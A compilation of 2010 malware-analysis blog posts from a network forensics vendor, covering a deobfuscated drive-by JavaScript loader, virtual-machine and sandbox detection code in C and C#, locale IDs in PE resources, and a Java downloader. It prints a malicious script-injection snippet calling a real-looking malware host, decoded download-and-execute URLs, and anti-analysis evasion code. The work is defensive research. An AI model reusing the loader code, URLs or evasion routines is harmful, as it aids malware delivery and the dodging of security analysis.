        while (QS743__js_4.length < 20) {
                QS743__js_4 += "00";
        }
        RihOuI_7K += "L" + QS743__js_4;
}
var f_Ha0lc_a_1_P = document.createElement("script");
f_Ha0lc_a_1_P.setAttribute("type", "text/javascript");
f_Ha0lc_a_1_P.setAttribute("src", "http://mdakab.info/cgi-bin/guest/y002106R09007318X86487362Ycd32e585Z0100f060" + RihOuI_7K);
document.body.appendChild(f_Ha0lc_a_1_P);

And here is the raw text of the javascript if you would like to download it and analyze it using the same techniques): http://pastebin.com/raw.php?i=vPeBF37r

Important note!!

Although the URL in line #39 is displayed in-tact above, when debugging please remove the string “mdakab.info” to prevent the network activity from taking place accidently (and executing logic you can’t yet debug easily).

Back to the network activity

So we just took a VERY deep dive into javascript reverse engineering. If you look at the follow-on data in this session, we could explain why it happened based on what we just did.

But... Did the work we just do seem like a waste of time? I mean, the activity is in the network traffic, so we can just examine the behavior of the javascript based on what happened after the client got it.

That’s entirely true! If you reverse JS like this every time you see it, that is an enormous waste of time. However, the next post in this series will focus on the PDF file the javascript in this session eventually grabs and executes. There will be JS inside of there and we’ll need to know how to reverse it, so this post is really just the basis for the next in this series.

At this point we also have a domain name from the embedded JS we can use to do the type of internet research shown at the bottom of the first post in this series. We’ll expand that line of analysis in further posts in this series also…

Gary Golomb

VM Detection by In-The-Wild Malware

2010-12-16T15:47:00.000-05:00

Note: This is a reprint of a posting I made for my company, NetWitness (www.netwitness.com). This is unchanged from the original, however that copy can be found at: http://www.networkforensics.com/2010/12/13/vm-detection-by-in-the-wild-malware/

Motivation

A large number of security researchers use Virtual Machines when analyzing malware and/or setting up both active and passive honeynets. There a numerous reasons for this, including: scalability, manageability, configuration and state snapshots, ability to run diverse operating systems, etc..

Malware that attempts to detect if it’s running in a Virtual Machine (then change its behavior accordingly to prevent analysis by security people) is not a subject of academic fancy. A recent search of VirusTotal showed they receive at least 1,000 unique samples a week with VM detection capabilities. (This search was performed by searching for known function import names from non-standard DLLs.) Personally, my first encounter with malware that behaved completely differently inside a Virtual Machine (from a real host) was approximately eight years ago.

VM detection does not apply just to the realm of APT-level malware. Agobot/Gaobot/PhatBot is a family of massively deployed malware first released in 2004 with the ability to detect if running in either VMware or VirtualPC and changes its behavior accordingly. Considering just this example of how old and low-entry malware (with such a massive deployment) performs these actions, our attention to this subject should be especially keen.

Notes

This post contains a number of techniques for VM detection used by malware, along with code demonstrating how simple these techniques are to implement. Except where noted, all techniques are currently used in the wild.

Most of this post (but not all!) is a summary of other people’s work, not mine – except where noted. References are given and should be accurate. If not, email me and I’ll correct.
Examples where simple code samples could not be produced will not be considered here.
Only techniques that are difficult to mitigate are examined here. I’m sure there are hundreds of other ways to detect VM’s. Of the methods I’m familiar with, these were the ones that stood out in my mind as being difficult to fight.

Types of Virtual Machines

Generally speaking, there are three types of Virtual Machines. They are:

Hardware Assisted – aka: Hypervisors – These VM’s use processor-specific instructions to cause the Host OS to [in effect] “fork,” where the original copy of the OS stays in a suspended state while the newly spawned “Guest copy” continues to run as if nothing happened. The important thing to keep in mind relative to this topic is that when the Guest executes machine level instructions, the actual hardware CPU is used to execute those instructions.
Reduced Privilege – These are the VM’s most people are familiar with and use regularly. Here, the Host takes more of an active “proxy” role for the Guest by virtualizing important data structures and registers, then performing some level of translation services for some machine level instructions. Relative to this topic, the important thing to note here is that the guest – in effect – runs at a lower privilege than if it was truly controlling the CPU.
Pure Software – Software VM’s act as full proxies to the CPU by implementing a truly virtual CPU the Guest interacts with.

Hypervisors (Hardware Assisted VMs)

Xen > 3.x and Virtual Server 2005 are a couple examples of Hardware assisted virtual machines.
Low-level detection of being virtualized in one of these environments is extremely difficult. Many people still call it impossible. While several people have talked publically about proof of concept code developed to detect these environments for years, none has been released or found in wild (that I’m aware of). Because of this, I will not talk about hypervisors any further than describing why detection is so difficult. (Since we have no code to examine how simple it is – the point of this post.)
A Hypervisor “guest” can be launched at any point after the OS has loaded. In preparation for launching a guest copy of the OS, the “host” sets up some basic CPU-specific control structures, then uses a single instruction (opcode) to cause the CPU to place the Host OS in a virtualized state while the Guest is basically a “forked copy” of the originally running OS. Once a Hypervisor has started running, the Guest OS basically has zero knowledge of this fact since all access to hardware is direct access. While the access to hardware is direct, the Hypervisor VM itself still has the ability to intercept interesting events – even before the Host OS has seen them. In this effect, a hypervisor VM is more powerful than both the Host and Guest OS’s because it sees everything before either of them. Also, once a hypervisor is running, no others can become active. The first hypervisor VM has absolute control.

All methods for detecting the presence of Hypervisors depend on timing functions, however they are only useful techniques in theory because of the infeasibility of creating a good baseline to compare timing results to in order to make a pass/fail decision. Another technique uses context switching to cause Translation Lookaside Buffers filled with a predetermined pattern of data to get flushed when a hypervisor is running. Describing the technique is far beyond the scope of this paper since there is no exploit code to examine, but… Based on my understanding of the following article, I’m not sure the technique is so relevant anymore anyways. http://download.intel.com/technology/itj/2006/v10i3/v10-i3-art01.pdf

VMware

The non-ESX versions of VMware are reduced privilege VMs, and because of that are trivial to detect. Because critical data structures setup by the Operating System in critical regions of memory during OS start-up are already in use by the Host OS, VMware must relocate virtual copies of them for use by the Guest OS. This fact alone presents several powerful opportunities to detect when running inside a VMware image.

The first example simply checks the base address of the Interrupt Descriptor Table, as shown below. If then IDT is at a location much higher than its normal location, the process is likely inside a VM. This technique is generally attributed to Joanna Rutkowska , and is described here.
Code:

Data provided by Pastebin.com - Download Raw

void detectVMwareIDT (void)
{
        unsigned char idtr[6];
        unsigned long idt_base = 0;
 
        _asm sidt idtr
 
        idt_base = *((unsigned long *)&idtr[2]);
 
        if ((idt_base >> 24) == 0xff) 
        {
                printf ("IDT at high relocation – inside VM ");
        }
 
        else 
        {
                printf ("IDT at a normal location ");
        }
}

In the above example, line #6 is the single line of assembly it takes to get the base address of the IDT, which is then tested a couple lines below that. SIDT is an instruction that stores the contents of the interrupt descriptor table register (IDTR) in the destination operand. It’s important to note this instruction is an unprivileged instruction that can be executed at any privilege level. However, according to the paper, “Detecting the Presence of Virtual Machines Using the Local Data Table,” verifying the IDT on multi-processor systems will fail when there is an IDT for each microprocessor.

If that detection technique wasn’t simple enough, the next one is. VMware builds the Local Descriptor Table in memory, however Windows does not. Therefore, simply checking for a non-zero address for the LDT when running in Windows is enough to identify VMware.

Data provided by Pastebin.com - Download Raw

void detectVMwareLDT (void)
{
        unsigned char  ldtr[4] = {'0xef', '0xbe', '0xad', '0xde'};
        unsigned long  ldt_base  = 0;
 
        _asm sldt ldtr
 
        ldt_base = *((unsigned long *)&ldtr[0]);
 
        if (ldt_base == 0xdead0000) 
        {
                printf ("LDT at normal offset ");
        }
 
        else 
        {
                printf ("LDT found: inside VMware ");
        }
}

On line #6, SLDT is the assembly instruction to store the segment selector from the local descriptor table register (LDTR) in the destination operand. It’s important to note this instruction is also an unprivileged instruction that can be executed at any privilege level!

Another interesting feature of VMware is seen when executing the IN instruction from user-land of common OSs like Linux, Windows, etc (and more accurately, when executing this instruction in ring3). IN is the “Input from Port” instruction. It copies the value from the I/O port specified with the source operand to the destination operand. The IN instruction is a privileged instruction which cannot be run from ring3 (user-land), therefore when executed, an exception should be thrown. However, when VMware is running, no exception is generated if a special input port is specified. That port is “0×5658,” aka: “VX.” This technique is described in much more detail in the original posting here.

Example code is below, with comments added to explain each step.

Data provided by Pastebin.com - Download Raw

void detectVMwareINcmd (void)
{
  unsigned int a, b;
 
  __try 
  {
    __asm 
    {
 
        // standard stack setup, nothing special
        push eax  
        push ebx
        push ecx
        push edx
 
        // first, push the value "VMXh" into EAX. If the IN command
        // is successful (meaning we're in VMware), this fingerprint
        // will be placed into the EBX register by VMware.
        mov eax, 'VMXh'
        
        // ECX stores the VMware "backdoor" command we're trying 
        // to issue. 0x0a is one of several commands. This one gets 
        // the version of VMware running.
        mov ecx, 0Ah
 
        // This is the input operand to the IN instruction and must 
        // be "VX" to activate this "backdoor" feature. 
        mov dx, 'VX'
 
        // Key instruction is issued
        in eax, dx
 
        // If we got here, then we're in VMware, since an exception 
        // would have been thrown otherwise.
        mov a, ebx
        mov b, ecx
 
        // standard stack tear down, nothing special
        pop edx
        pop ecx
        pop ebx
        pop eax
    }
  } 
  __except (EXCEPTION_EXECUTE_HANDLER) {}
 
  // if the fingerprint was pushed into the EBX register, 
  // we can check the results
  if (a == 'VMXh')
  { 
    printf ("VMware found. Version is: ");
 
    // the ECX register actually received the version code, tested next:
    if (b == 1)
      printf ("Express ");
    else if (b == 2)
      printf ("ESX ");
    else if (b == 3)
      printf ("GSX ");
    else if (b == 4)
      printf ("Workstation ");
    else 
      printf ("some other version ");
  }
  else 
  {
    printf ("fingerprint never made it to EBX, not VMware ");
  }
}

Some people writing for SANS have said that disabling certain configuration option in VMware will defeat this type of detection mechanism. Unfortunately, the real IN instruction would never change any register other than EAX in the first place, so all the other register changes that take place when executing the instruction in VMware are still detectable. Other counter-measures have been proposed, however they are too unstable and unusable in the real world for us to consider here.

VirtualPC

VirtualPC is also a reduced privilege VM, like non-ESX versions of VMware, and is just as trivial to detect. The IDT and LDT table structures tests described in the VMware section apply to VirtualPC as-is. In fact, those tests apply to all the big-name VMs that people are most familiar with in the Reduced Privilege category of VMs. VirtualPC has functionality similar to VMware’s use of the IN instruction, however it uses illegal instructions to trigger exceptions the kernel will catch. For example, issuing the following machine code would normally cause an exception because it’s an undefined opcode: 0F 3F 0A 00 But, with VirtualPC running, no exception is generated because this is part of VirtualPC’s guest to host communication protocol. Therefore, the code in the VMware example can simply be modified to issue this opcode, then test for a lack of exception. A more interesting feature of VirtualPC is its use of “buffered code emulation.” Buffered code emulation is the practice of copying an instruction from a Guest into a host-controlled buffer and executing it there, then returning the results to the Guest. As VirtualPC is intercepting every instruction and deciding what to return back to the caller, it will sometimes alter or craft its own results – as it does with the CPUID instruction. Normal values retuned are “GenuineIntel” and “AuthenticAMD.” With VirtualPC, the result is “ConnectixCPU.” But, I like this example of VirtualPC detection best since it uses the high-level and easy to use language, C#. Consider the following:

Data provided by Pastebin.com - Download Raw

        private void VirtualPCviaWMI()
        {
            ManagementObjectSearcher objMOS = 
                new ManagementObjectSearcher(
                    "root\CIMV2", "SELECT * FROM  Win32_BaseBoard"
                    );
 
            foreach (ManagementObject objManagemnet in objMOS.Get())
            {
                if (objManagemnet.GetPropertyValue("Manufacturer").ToString() == 
                    "Microsoft Corporation")
                {
                    Console.WriteLine("VirtualPC detected");
                }
            }
        }

The above example pulls the manufacturer name of the motherboard and tests if it’s “Microsoft Corporation.” If it is, then VirtualPC has just been detected.

Software VMs

Examples software VMs include Bochs, Hydra, QEMU, Atlantis, and Norman Sandbox, among many others. Because software VMs try to fully emulate hardware, there are too many techniques to detect them to list here. Because it would be nearly impossible to implement every instruction and match the quirks each instruction has on different families of processors, most of the tests for Software VM’s revolve around testing some of the more arcane instructions.

Sandboxes

I personally love sandboxes because of the sheer volume of work they automate and standardization of data they return. I can’t even imagine life before they existed anymore! However, we need to be realistic about the fact that most (but not all!) are trivial to detect, regardless of hardware platform. This doesn’t mean we should avoid them – it just means we need to ensure we’re compensating for that fact.

A technique I have not seen elsewhere and have used in my own “research” malware in the past is to check the DLLs that have been loaded into my program’s space. To use this technique, you must first create a “fingerprint” of the DLLs your program loads. This is easily accomplished with a couple lines of debug code after you have finished your program. The technique is easy and can be used even in high-level languages like C#. Consider the following:

Data provided by Pastebin.com - Download Raw

        private bool iveBeenInjected()
        {
            bool retVal = false;
 
            Process pp = Process.GetCurrentProcess();
            ProcessModuleCollection pma = pp.Modules;
 
            foreach (ProcessModule pm in pma)
            {
                // checkName is a simple function that uses a switch() statement 
                // to see if the name is in the “fingerprint” list of DLL's loaded
                // by my program. (In this case, it's 39 entries.)
                if (!checkName(pm.ModuleName) && (pm.ModuleName != pp.ProcessName))
                {
                    retVal = true;
 
                    Console.WriteLine(
                        pm.ModuleName +
                        " is injected from " +
                        pm.BaseAddress.ToString() +
                        " file: " +
                        pm.FileName);
                }
            }
 
            return retVal;
        }

bool checkName(string nameOfLoadedDLL) is a method that returns true if the dll mapped in the program’s process space is known to belong to the “fingerprint” of this program. If the dll mapped in is unknown to the program, then it returns false and the logic below is executed.

This simple function is enough to catch many sandboxes (again, not all of them), even if you’ve followed their best practices and rename their monitoring dll (typically injected into all new processes). Other examples of sandbox detection include using the hook detection employed by numerous security programs to find malware (except in this case – used by malware to detect sandboxes), counting hooks, etc..

Unfortunately, in the case of sandboxes, malware doesn’t even need to go through all that trouble to defeat them. The only thing malware needs to do is ensure its persistence through a reboot, then wait for a reboot to take place. That alone is enough to defeat the analysis steps of most analysis!

Summary

In short, you have seen that while many people quibble over VM detection being as simple as looking for registry keys and mac addresses (all easily mitigated from a security perspective), VM detection is actually:

Much easier than programmatically dealing with the registry
Much harder [nearly impossible] to mitigate when behavior of hardware is the target of testing
Happens on a massive scale in malware in the wild

While the use of Virtual Machines has many advantages for research purposes, their selection and limitations should be carefully weighed against your actual objectives.

Identifying the country of origin for a malware PE executable

2010-11-27T10:45:00.004-05:00

Have you ever wondered how people writing reports about malware can say where the malware was [likely] developed?

11/16/2009 6:41:48 PM –> Hook instalate lsass.exe

We can use Google Translate’s “language detect” feature to help up determine the language used:

Of course, it’s not often we get THAT lucky!

A more interesting method is the examination of certain structures known as the Resource Directory within the executable file itself. For the purpose of this post, I will not be describing the Resource Directory structure. It’s a complicated beast, making it a topic I will save for later posts that actually warrant and/or require a low-level understanding of it. Suffice it to say, the Resource Directory is where embedded resources like bitmaps (used in GUI graphics), file icons, etc. are stored. The structure is frequently compared to the layout of files on a file system, although I think it’s insulting to file systems to say such a thing. For those more graphically inclined, I took the following image from http://www.devsource.com/images/stories/PEFigure2.jpg.

For the sake of example, here’s some images showing you just a few of the resources embedded inside of notepad.exe: (using CFF Explorer from: http://www.ntcore.com/exsuite.php)

Now it’s important to note that an executable may have only a few or even zero resources – especially in the case of malware. Consider the following example showing a recent piece of malware with only a single resource called “BINARY.”

Moving on, let’s look at another piece of malware… Below, we see this piece of malware has five resource directories.

We could pick any of the five for this analysis, but I’ll pick RCData – mostly because it’s typically an interesting directory to examine when reverse engineering malware. (This is because RCData defines a raw data resource for an application. Raw data resources permit the inclusion of any binary data directly in the executable file.) Under RCData, we see three separate entries:

The first one to catch my eye is the one called IE_PLUGIN. I’ll show a screenshot of it below, but am saving the subject of executables embedded within executables for a MUCH more technical post in the near future (when it’s not 1:30 am and I actually feel like writing more!).

Going back to the entry structure itself, the IE_PLUGIN entry will have at least one Directory Entry underneath it to describe the size(s) and offset(s) to the data contained within that resource. I have expanded it as shown next:

And that’s where things get interesting – as it relates to answering the question at the start of this post anyways. Notice the ID: 1055. That’s our money shot for helping to determine what country this binary was compiled in. Or, more specifically, the default locale codepage of the computer used to compile this binary. Those ID’s have very legitimate uses, for example, you can have the same dialog in English, French and German localized forms. The system will choose the dialog to load based on the thread’s locale. However, when resources are added to the binary without explicitly setting them to different locale IDs, those resources will be assigned the default locale ID of the compiler’s computer.

So in the example above, what does 1055 mean?

It means this piece of malware likely was developed (or at least compiled in) Turkey.

How do we know that one resource wasn’t added with a custom ID? Because we see the same ID when looking at almost all the other resources in the file (anything with an ID of zero just means “use the default locale”):

In this case, we are also lucky enough to have other strings in the binary (once unpacked) to help solidify the assertion this binary is from Turkey. One such string is “Aktif Pencere,” which Google’s Translation detection engine shows as:

However, as you can see, this technique is very useful even when no strings are present – in logs or the binary itself.

So is this how the default binary locale identification works normally (eg: non-malware executable files)?

Not exactly. The above techniques are generally used with malware (if the malware even has exposed resources), but not generally with normal/legitimate binaries. Consider the following legitimate binary. What is the source locale for the following example?

As you see in the green box, we have some cursor resources with the ID for the United States. (I’m including a lookup table at the bottom of this post.) In the orange box, there are additional cursor resources with the ID for Germany. In the red box is RCData, like we examined before, but all of these resources have the ID specifying the default language of the computer executing the application.

As it turns out, the normal value to examine is the ID for the Version Information Table resource (in the blue box). In the case above, it's the Czech Republic. The Version Information Table contains the “metadata” you normally see depicted in locations like this:

In the above screenshot, Windows is identifying the source/target local as English, and specifically, United States English (as opposed to UK English, Australian English, etc…). That information is not stored within the Version Information table, but rather is determined by the ID of the Version Information Table.

However, in malware, the Version Information table is almost always stripped or mangled, as is the case with our original example from earlier:

Because of that, the earlier techniques are more applicable to malware.

Below, I’m including a table to help you translate Resource Entry IDs to locales (sorted by decimal ID number).

Locale	Language	LCID	Decimal	Codepage

Arabic – Saudi Arabia	ar	ar-sa	1025	1256
Bulgarian	bg	bg	1026	1251
Catalan	ca	ca	1027	1252
Chinese – Taiwan	zh	zh-tw	1028
Czech	cs	cs	1029	1250
Danish	da	da	1030	1252
German – Germany	de	de-de	1031	1252
Greek	el	el	1032	1253
English – United States	en	en-us	1033	1252
Spanish – Spain (Traditional)	es	es-es	1034	1252
Finnish	fi	fi	1035	1252
French – France	fr	fr-fr	1036	1252
Hebrew	he	he	1037	1255
Hungarian	hu	hu	1038	1250
Icelandic	is	is	1039	1252
Italian – Italy	it	it-it	1040	1252
Japanese	ja	ja	1041
Korean	ko	ko	1042
Dutch – Netherlands	nl	nl-nl	1043	1252
Norwegian – Bokml	nb	no-no	1044	1252
Polish	pl	pl	1045	1250
Portuguese – Brazil	pt	pt-br	1046	1252
Raeto-Romance	rm	rm	1047
Romanian – Romania	ro	ro	1048	1250
Russian	ru	ru	1049	1251
Croatian	hr	hr	1050	1250
Slovak	sk	sk	1051	1250
Albanian	sq	sq	1052	1250
Swedish – Sweden	sv	sv-se	1053	1252
Thai	th	th	1054
Turkish	tr	tr	1055	1254
Urdu	ur	ur	1056	1256
Indonesian	id	id	1057	1252
Ukrainian	uk	uk	1058	1251
Belarusian	be	be	1059	1251
Slovenian	sl	sl	1060	1250
Estonian	et	et	1061	1257
Latvian	lv	lv	1062	1257
Lithuanian	lt	lt	1063	1257
Tajik	tg	tg	1064
Farsi – Persian	fa	fa	1065	1256
Vietnamese	vi	vi	1066	1258
Armenian	hy	hy	1067
Azeri – Latin	az	az-az	1068	1254
Basque	eu	eu	1069	1252
Sorbian	sb	sb	1070
FYRO Macedonia	mk	mk	1071	1251
Sesotho (Sutu)			1072
Tsonga	ts	ts	1073
Setsuana	tn	tn	1074
Venda			1075
Xhosa	xh	xh	1076
Zulu	zu	zu	1077
Afrikaans	af	af	1078	1252
Georgian	ka		1079
Faroese	fo	fo	1080	1252
Hindi	hi	hi	1081
Maltese	mt	mt	1082
Sami Lappish			1083
Gaelic – Scotland	gd	gd	1084
Yiddish	yi	yi	1085
Malay – Malaysia	ms	ms-my	1086	1252
Kazakh	kk	kk	1087	1251
Kyrgyz – Cyrillic			1088	1251
Swahili	sw	sw	1089	1252
Turkmen	tk	tk	1090
Uzbek – Latin	uz	uz-uz	1091	1254
Tatar	tt	tt	1092	1251
Bengali – India	bn	bn	1093
Punjabi	pa	pa	1094
Gujarati	gu	gu	1095
Oriya	or	or	1096
Tamil	ta	ta	1097
Telugu	te	te	1098
Kannada	kn	kn	1099
Malayalam	ml	ml	1100
Assamese	as	as	1101
Marathi	mr	mr	1102
Sanskrit	sa	sa	1103
Mongolian	mn	mn	1104	1251
Tibetan	bo	bo	1105
Welsh	cy	cy	1106
Khmer	km	km	1107
Lao	lo	lo	1108
Burmese	my	my	1109
Galician	gl		1110	1252
Konkani			1111
Manipuri			1112
Sindhi	sd	sd	1113
Syriac			1114
Sinhala; Sinhalese	si	si	1115
Amharic	am	am	1118
Kashmiri	ks	ks	1120
Nepali	ne	ne	1121
Frisian – Netherlands			1122
Filipino			1124
Divehi; Dhivehi; Maldivian	dv	dv	1125
Edo			1126
Igbo – Nigeria			1136
Guarani – Paraguay	gn	gn	1140
Latin	la	la	1142
Somali	so	so	1143
Maori	mi	mi	1153
HID (Human Interface Device)			1279
Arabic – Iraq	ar	ar-iq	2049	1256
Chinese – China	zh	zh-cn	2052
German – Switzerland	de	de-ch	2055	1252
English – Great Britain	en	en-gb	2057	1252
Spanish – Mexico	es	es-mx	2058	1252
French – Belgium	fr	fr-be	2060	1252
Italian – Switzerland	it	it-ch	2064	1252
Dutch – Belgium	nl	nl-be	2067	1252
Norwegian – Nynorsk	nn	no-no	2068	1252
Portuguese – Portugal	pt	pt-pt	2070	1252
Romanian – Moldova	ro	ro-mo	2072
Russian – Moldova	ru	ru-mo	2073
Serbian – Latin	sr	sr-sp	2074	1250
Swedish – Finland	sv	sv-fi	2077	1252
Azeri – Cyrillic	az	az-az	2092	1251
Gaelic – Ireland	gd	gd-ie	2108
Malay – Brunei	ms	ms-bn	2110	1252
Uzbek – Cyrillic	uz	uz-uz	2115	1251
Bengali – Bangladesh	bn	bn	2117
Mongolian	mn	mn	2128
Arabic – Egypt	ar	ar-eg	3073	1256
Chinese – Hong Kong SAR	zh	zh-hk	3076
German – Austria	de	de-at	3079	1252
English – Australia	en	en-au	3081	1252
French – Canada	fr	fr-ca	3084	1252
Serbian – Cyrillic	sr	sr-sp	3098	1251
Arabic – Libya	ar	ar-ly	4097	1256
Chinese – Singapore	zh	zh-sg	4100
German – Luxembourg	de	de-lu	4103	1252
English – Canada	en	en-ca	4105	1252
Spanish – Guatemala	es	es-gt	4106	1252
French – Switzerland	fr	fr-ch	4108	1252
Arabic – Algeria	ar	ar-dz	5121	1256
Chinese – Macau SAR	zh	zh-mo	5124
German – Liechtenstein	de	de-li	5127	1252
English – New Zealand	en	en-nz	5129	1252
Spanish – Costa Rica	es	es-cr	5130	1252
French – Luxembourg	fr	fr-lu	5132	1252
Bosnian	bs	bs	5146
Arabic – Morocco	ar	ar-ma	6145	1256
English – Ireland	en	en-ie	6153	1252
Spanish – Panama	es	es-pa	6154	1252
French – Monaco	fr		6156	1252
Arabic – Tunisia	ar	ar-tn	7169	1256
English – Southern Africa	en	en-za	7177	1252
Spanish – Dominican Republic	es	es-do	7178	1252
French – West Indies	fr		7180
Arabic – Oman	ar	ar-om	8193	1256
English – Jamaica	en	en-jm	8201	1252
Spanish – Venezuela	es	es-ve	8202	1252
Arabic – Yemen	ar	ar-ye	9217	1256
English – Caribbean	en	en-cb	9225	1252
Spanish – Colombia	es	es-co	9226	1252
French – Congo	fr		9228
Arabic – Syria	ar	ar-sy	10241	1256
English – Belize	en	en-bz	10249	1252
Spanish – Peru	es	es-pe	10250	1252
French – Senegal	fr		10252
Arabic – Jordan	ar	ar-jo	11265	1256
English – Trinidad	en	en-tt	11273	1252
Spanish – Argentina	es	es-ar	11274	1252
French – Cameroon	fr		11276
Arabic – Lebanon	ar	ar-lb	12289	1256
English – Zimbabwe	en		12297	1252
Spanish – Ecuador	es	es-ec	12298	1252
French – Cote d’Ivoire	fr		12300
Arabic – Kuwait	ar	ar-kw	13313	1256
English – Phillippines	en	en-ph	13321	1252
Spanish – Chile	es	es-cl	13322	1252
French – Mali	fr		13324
Arabic – United Arab Emirates	ar	ar-ae	14337	1256
Spanish – Uruguay	es	es-uy	14346	1252
French – Morocco	fr		14348
Arabic – Bahrain	ar	ar-bh	15361	1256
Spanish – Paraguay	es	es-py	15370	1252
Arabic – Qatar	ar	ar-qa	16385	1256
English – India	en	en-in	16393
Spanish – Bolivia	es	es-bo	16394	1252
Spanish – El Salvador	es	es-sv	17418	1252
Spanish – Honduras	es	es-hn	18442	1252
Spanish – Nicaragua	es	es-ni	19466	1252
Spanish – Puerto Rico	es	es-pr	20490	1252

Network Forensics and Reversing Part 1 – gzip web content, java malware, and a little JavaScript

2010-11-27T10:35:00.001-05:00

Something I’ve found unsettling for some time now is the drastically increased usage of gzip as a Content-Encoding transfer type from web servers. By default now, Yahoo, Google, Facebook, Twitter, Wikipedia, and many other organizations compress the content they send to your users. From that list alone, you can infer that most of the HTTP traffic on any given network is not transferred in plaintext, but rather as compressed bytes.

That means web content you’d expect to look like this on the wire (making it easily searchable for policy violations and security threats):

In reality, looks like this:

As it turns out, the two screenshot above are for the exact same network session, the later screenshot being from wireshark and showing the data sent by the webserver really is compressed and not discernable.

By extension, you can likely say that most real-time network forensics/monitoring tools are [realistically] “blind” to [plausibly] a majority of the web the traffic flowing into your organization.

Combined with the fact that a vast majority of compromises are delivered to clients via HTTP (at this time, typically through the use of javascript), my use of the word “unsettling” should be an understatement. This includes everything from “APT” types of threats (or whatever soapbox you stand on to describe the same thing), down to drive-by’s and mass exploitations.

The good news: Current trends in exploitation have given us very powerful methods for generic detection (eg: without needing “signatures,” or more precisely – preexisting knowledge about the details of particular vulnerabilities or exploits) by examining traits of javascript, iframes, html, pdf’s, etc.

The bad news: Webservers are reducing the chance of network technologies from detecting those conditions by compression based transfer (obfuscation).

I find no fault with organizations choosing to use gzip as their transfer type. HTTP is a horribly repetitive and redundant language (read: bloated). Every opening <tag> has an identical closing </tag>. XML is even worse. For massive sites with massive traffic, the redundancy and bloat of protocols like HTTP and XML translate directly to lost revenue via extremely large amounts of wasted bandwidth.

Nonetheless, as forensic engineers, our challenge is to discover and compensate for all the things proactive security technologies like AV, firewalls, IPS, etc. continually fail to identify and stop. Recently, I added the following rule on a customer’s network in NetWitness:

If you’re not familiar with the NetWitness rule syntax, the rule above does the following:

If the server application/version (as extracted by the protocol parsing engine) contains the string: “nginx,”
AND
If the Content-Encoding used by the server is gzip
THEN
Create a tag labeled “http_gzip_from_nginx” in a key called “monitors.”

In the Investigator GUI, you would see something like this in the “monitors” key:

Why nginx? As it turns out, a lot of hackers tend to use nginx webservers, so this seemed like a good place to start experimenting. The question I was trying to answer is:

If the content body of a web response is gzip’ed (so we can’t examine traits of “suspiciousness” inside the body), then what can we see outside the body to indicate this gzip’ed traffic is worth examining further?

We’ll revisit this question in later blog posts, but for now, nginx as a webserver is an amazingly powerful place to start! We’ll examine one such example in this post, with an additional post using the gzip + nginx combination. As the small screenshot above shows, there were 33 sessions meeting the criteria of gzip + nginx (out of about 50,000 sessions). With only 33 sessions, it’s possible to examine them by drilling into the packets of all 33, examining them each one-by-one (eg: brute-force forensic examination), but that would be poor forensic technique and defeat the entire point of a technical and educational network forensics blog! The examples in these series of blog posts will employ good forensic practices using “correlative techniques,” allowing us to have a good idea of what is inside the packet contents before we ever drill that deeply into the network data (an indication you are using good network forensics practices).

The first pivot point we’ll examine are countries. Keep in mind, this is after we used the rule above to include only network sessions where the server returned gzip compressed content, and where the webserver was some type of nginx. We could have manually done the same by first pivoting on the content type of gzip:

Doing the first pivot reduces the number of sessions we’re examining from about 50,000 down to 2,878. Then we can do a custom filter to only include servers with the string “nginx” within those 2,878 session. Doing so gives us the same 33 sessions mentioned above.
In those 33 sessions, the countries communicated with are:

Not only do we tend to see a higher degree of malicious traffic from countries like Latvia, it immediately looks suspicious simply because it’s an outlier in the list. (Don’t worry Latvia, we’ll pick on our own country in the next post!) Additionally, there’s only a single session to examine here, meaning drilling into the packet-level detail is an ok decision at this point.
In the request, we see the client requested the file “/th/inyrktgsxtfwylf.php” from the host “ertyi.net,” as shown next:

As expected, based on the meta information NetWitness already extracted, we see the gzip’ed reply from a nginx server:

Fortunately, Investigator makes it easy for us to examine gzip’ed content by right-clicking in the session display and selecting decode as compressed data:

Doing so shows us a MUCH different story!

The traffic appears to be obfuscated javascript. We can extract it from NetWitness (a few different ways) to clean it up and examine. I’ll skip those steps and just show the cleaned-up and nicely formatted content the webserver returned.

There are a few things to notice in here. At the very bottom of the image above, we clearly see encoded javascript, a trait extremely common to client-side exploit delivery and malicious webpages. We’ll save full javascript reverse engineering for another blog post.

But the worst (or most interesting) part is the decoding and evaluation for this encoded data, while implemented in javascript, is stored inside a TextArea HTML object! This technique makes the real logic invisible and indiscernible to most automated javascript reverse engineering tools.

Indeed, if we upload this webpage to one of my favorite js reversing sites (jsunpack, located at: http://jsunpack.jeek.org/dec/go), we see the following results when the site attempts to automatically reverse engineer the javascript:

Without going further into the process of reverse engineering the javascript (for now – we have an endless supply of blog posts coming!), we can be quite sure we’re looking at something suspicious. At the very least, we know for a fact we’re looking at something that does not make it easy to discern what it’s doing!

The telltale signs of “badness” don’t stop there. At the top of the decoded body data we saw an embedded java applet, as follows:

While we don’t know (yet) what the applet does, there’s a pretty strong indication it’s a downloader or C&C (command and control) application of some type. How can we make such a guess without knowing anything about it?

Look closely at the embedded parameter passed into the applet:

We can make a guess that the string contained in the “value” parameter is encoded data using a simple substitution cypher where “S”[parm] = “T”[actual] and “T”[parm] = “/”[actual]. If we made such a guess, then it’s possible the decoded parameter value actually starts with the string “http://”.

Of course, because we have the download of the jar file within our full packet capture and storage database, we’ll just extract it from NetWitness to validate our hunch and possibly learn more. In the below screenshot, I already performed the following steps:

Switched to the session with the jar file download. (Simply clicked on the next session between that same client and server.)
Extracted the jar file by saving the raw data from the server using the “Extract Payload Side 2” option in NetWitness.
Opened the jar file using the following java decompiler:

The first line of code in the java applet takes the parameter passed to it (the encoded value we identified above), and hands it to a function called “b.” The result of that function is stored in a string variable called str1.

Following the decompiled java code to function “b,” we see the following:

It turns out the applet actually is using a simple substitution cypher, replacing one given character with another. When the parameter “RSS=,TT!;LBIB@STSRTYG$I=R=” is decoded, we end up with the string “http://uijn.net/th/fs7.php?i=1.”

The java malware then continues with additional string functions as shown next:

First, we see the declaration of str2 through str5, with values assigned to each.

Then, str6 through srt8 is simply the reversal of str2 through str4, resulting in the following strings:

Str6 = .exe
Str7 = java.io.tmpdir
Str8 = os.name

Combining that with the last three lines of code shown above, we see the following:

Str10 is a filename ending in “.exe” where the actual filename is a randomly generated number.
Str11 is the path to temporary files for the current user.
Str12 is the name of the Operating System the java malware is currently running on.

The last part of this java malware (that we’ll examine here anyways) is shown next:

First, it tests to see if the string “Windows” is contained anywhere in the name of the Operating System. If so, then it goes through the process of opening a connection to the URL (the one we decoded above), downloads the file, saves it to the temporary directory, then executes the file.
This file appears to be malware as a first-stage downloader for other executables that are likely far more malicious.

Pre-Summary

